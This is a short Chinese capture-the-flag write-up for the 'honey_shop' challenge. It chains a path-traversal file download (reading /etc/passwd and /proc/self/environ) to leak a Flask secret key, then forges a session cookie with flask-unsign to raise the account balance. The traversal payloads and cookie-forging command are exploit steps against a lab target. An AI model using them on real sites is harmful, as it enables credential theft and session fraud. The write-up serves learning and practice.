[PASECA2019]honey_shop
最后更新于
最后更新于
LFI
任意文件下载
Flask伪造session
提示有1336块钱,买flag需要1337块钱。
发现存在session内容如下
flask-unsign解码一下,得到{'balance': 1336, 'purchases': []}
,看来需要获取secret_key修改session来购买flag
试了一下,整个页面除了购买外,只有图片可以点
尝试任意文件下载,发现/download?image=../../etc/passwd可以下载文件
访问/download?image=../../proc/self/cmdline,得到运行目录app/app.py
访问/download?image=../../proc/self/environ得到SECRET_KEY=eiYzH7ck0Pta8ghUGYRRpD8LtNjw5TE2ssJ1BL0F
重新加密session,flask-unsign.exe --secret "eiYzH7ck0Pta8ghUGYRRpD8LtNjw5TE2ssJ1BL0F" --sign --cookie "{'balance': 2000, 'purchases': []}"
,得到eyJiYWxhbmNlIjoyMDAwLCJwdXJjaGFzZXMiOltdfQ.YmkdOg.P80Or5syU9nQrh8nURtyyqinVUY
修改session购买flag即可